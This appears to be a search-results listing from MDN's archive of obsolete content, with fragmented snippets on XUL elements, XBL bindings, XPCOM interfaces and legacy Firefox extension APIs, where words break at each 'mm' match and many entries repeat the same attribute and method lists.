mmediately in your extension. in this case, you can use the nsiprefbranch2 interface to "listen" for changes to preferences in a certain branch. note that it need not be your own extension's preferences; you can set an observer on any preference or branch. when a change is made to the preferences, you can take the appropriate action (such as reinitializing variables or toggling display properties in...
Progress Listeners - Archive of obsolete content
ptional. the tabbrowser uses a strong reference to your listener object. gecko 2.0 note starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), all events are optional. the tabbrowser only notifies you of the events for which you provide a callback. remember to change mylistener to a unique identifier. example: notification when the value in address bar changes a co
mmonly asked question is how to get notified whenever the url in the address bar (also known as location bar) changes. using the following code, you will get notified when user navigates to another page (by clicking a link, using the back/forward button, by typing an address in the location bar, etc.) and also when user switches tabs. var myextension = { oldurl: null, init: function() { ...
Running applications - Archive of obsolete content
using nsilocalfile.launch() this method is not implemented on all platforms, especially not on unix/linux! see nsilocalfile.launch() for details and make sure that all your target platforms support this method! this method has the same effect as if you double-clicked the file, so for executable files—it will just run the file without any parameters. ...
SVG General - Archive of obsolete content
find some simple, general information on svg markup. hopefully, enough to get you creating some svg images. you will also find some general purpose scripting helpers, that should make scripting svg a little easier. svg template here is a basic markup template to start building an svg document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is reco
mmended that you do not use dtd's with svg documents. the tutorial and authoring guidelines have more information. dynamic scripting helper this little helper script can be used to simplify creation of svg elements in script. svg requires you to use setattributens to add attributes to a newly created svg dom element. no properties like html. svg image also requires the use of xlink for the href...
Sidebar - Archive of obsolete content
document.getelementbyid("sidebar").contentwindow; if (sidebarwindow.location.href == "chrome://browser/content/web-panels.xul") { // act on the sidebar content only if it is the web panels } accessing the browser.xul window from a sidebar script see accessing the elements of the top-level document from a child window section of working with windows in chrome code. ...
The Chrome URL - Archive of obsolete content
nterface, the user will not need to know the url, as the extension will present itself in the ui. for a skin, the file <package name>.css is selected; for a locale, the file <package name>.dtd is selected. remember, the chrome url is not related to where it is located on disk. the first two pieces of the chrome url are the package name and the part (either content, skin, or locale). while it is co
mmon to put the content files in a directory called 'content', this is purely out of convention, and these files may be placed in an entirely different structure. in the next section, we will look at how to create .manifest files and packages. « previousnext » ...
Toolbars - Archive of obsolete content
xul has a method to create toolbars. adding a toolbar like a number of elements, xul toolbars are a type of box. usually, a row of buttons would appear in the toolbar, but any element can be placed in a toolbar. for example, the mozilla browser window contains a textbox that displays the page url. toolbars may be placed on any side of the window, either horizontally or vertically. of course you wouldn't normally put a textbox in a vertical toolbar. ...
Tree Box Objects - Archive of obsolete content
this makes it easier to see how the example works. also, notice that the first row is 0. the doscroll() function gets the box object and calls the scrolltorow() function with an argument set to the value of the textbox. you might notice that the tree box object can...
Using Spacers - Archive of obsolete content
buttons are placed inside a div element. flexibility is meaningless here as the buttons are not directly in a box. the effect would be the same if the flex attributes were left out. example 6 because the flex values are the same on both buttons, they will flex equally. this would work just as well with flex values of one instead of 145. there's no difference in this case. it is reco
mmended that you use lower numbers for readability. note that other factors, such as the button labels and button minimum sizes, will affect the actual sizes of the buttons. for instance, a button won't shrink less than the space needed to fit its label. specifying a flex value of 0 has the same effect as leaving the flex attribute out entirely. it means that the element is not flexible at all. you...
XBL Attribute Inheritance - Archive of obsolete content
el would be the same every time the binding was used. in this case, it would be preferable if the attribute could be specified on the searchbox instead. xbl provides an inherits attribute which can be used to inherit attributes from the bound element. it should be placed on the element that should inherit an attribute from the outer element, in this case the button. its value should be set to a co
mma-separated list of attribute names that are to be inherited. <xul:textbox xbl:inherits="flex"/> <xul:button xbl:inherits="label"/> when the content is generated, the textbox grabs the flex attribute from the searchbox and the button grabs the label attribute from the searchbox. this allows both the flexibility of the textbox and the label of the button to be different for each use of the binding...
XPCOM Interfaces - Archive of obsolete content
han that, services are not very different from other components. one such service provided with mozilla is a bookmarks service. it allows you to add bookmarks to the user's current bookmark list. an example is shown below: var bmarks = components.classes["@mozilla.org/browser/bookmarks-service;1"].getservice(); bmarks.queryinterface(components.interfaces.nsibookmarksservice); bmarks.addbookmarki
mmediately("http://www.mozilla.org","mozilla",0,null); first, the component "@mozilla.org/browser/bookmarks-service;1" is retrieved and its service is placed in the variable bmarks. we use queryinterface() to get the nsibookmarksservice interface. the function addbookmarki
mmediately() provided by this interface can be used to add bookmarks. the first two parameters to this function are the bookmar...
XUL Tutorial - Archive of obsolete content
x model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event handlers more event handlers keyboard shortcuts focus and selection co
mmands updating co
mmands broadcasters and observers document object model document object model modifying a xul interface manipulating lists box objects xpcom interfaces xpcom examples trees trees more tree features tree selection custom tree views tree view details tree box objects rdf and templates introduction to rdf templates trees and templates rdf datasources adv...
Using nsIXULAppInfo - Archive of obsolete content
= components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); var platformver = appinfo.platformversion; var platformbuildid = appinfo.platformbuildid; getting nsixulappinfo in xpcshell tests in firefox 21, a testing module was added that provides access to app info during the execution of xpcshell tests. see bug 809920, and in su
mmary: // work around the fact that xpcshell doesn't have a proper app-info xpcom object. cu.import("resource://testing-co
mmon/appinfo.jsm"); updateappinfo(); older versions as stated above, older mozilla 1.7-based applications do not support nsixulappinfo. you'll have to write additional code if you choose to support those versions. for example, firefox and thunderbird 1.0 stored their id in th...
XUL FAQ - Archive of obsolete content
, mozilla's markup language for describing application's user interface. other faqs you may be interested in: extension faq, ... if your question is not answered here, you can try looking for the answer in the xul documentation or ask in the xul newsgroup. are there decent visual editors for laying out xul applications? there are no production-quality visual editors available for xul. the reco
mmended way is to edit xul by hand, possibly with the help of a good text or xml editor. ted mielczarek's live xul editor (also part of extension developer's extension) often proves useful. a list of projects (dead and active) aiming to create a xul ide/editor is at wikimo:xul:ide. troubleshooting prefwindow-based options windows this ought to be on a separate page, preferences system troubleshoo...
XUL controls - Archive of obsolete content
a textbox that hides the characters typed, used for entering passwords. <textbox type="password"/> textbox reference <textbox type="search"> a textbox for searching. <textbox type="search"/> textbox reference <textbox type="timed"> deprecated in gecko 1.9.1 a textbox for responding to user input. the co
mmand event is fired after the user stops typing, or if the user tabs away or hits enter. <textbox type="timed"/> textbox reference <timepicker> a timepicker displays a set of textboxes for entering a time. <timepicker value="12:05"/> timepicker reference <toolbarbutton> a button that is displayed on a toolbar...
action - Archive of obsolete content
tabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
assign - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
attribute.align - Archive of obsolete content
for boxes that have horizontal orientation, it specifies how its children will be aligned vertically. for boxes that have vertical orientation, it is used to specify how its children are algined horizontally. the pack attribute is related to the alignment but is used to specify the position in the opposite direction. you can also specify the value of align using the style property -moz-box-align. parameters start child elements are aligned starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. ...
bbox - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
binding - Archive of obsolete content
atabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
bindings - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
box - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
broadcasterset - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
caption - Archive of obsolete content
type: image url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. tabindex type: integer gets and sets the value of the tabindex attribute. ...
columns - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
conditions - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
content - Archive of obsolete content
le is evaluated, it scans through each resource in the rdf datasource looking for a match. each resource is placed in the variable specified in the uri attribute in turn. then, the other rules are evaluated for a match. this attribute should always be present. ...
deck - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
dialogheader - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
dropmarker - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns co
mmandset co
mmand conditions content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcor...
grippy - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
groupbox - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
hbox - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listcol - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listcols - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
member - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
menubar - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
notification - Archive of obsolete content
the type attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
observes - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
page - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
param - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
popupset - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
preferences - Archive of obsolete content
attribute of the element. see also the description of change event of <preference>. void observe(in nsisupports asubject, in string atopic, in wstring adata); nsiobserver method used internally to react to changes to preferences listed as children of this element. ...
progressmeter - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
query - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
queryset - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
row - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
rows - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
rule - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
script - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
scrollbar - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
scrollcorner - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
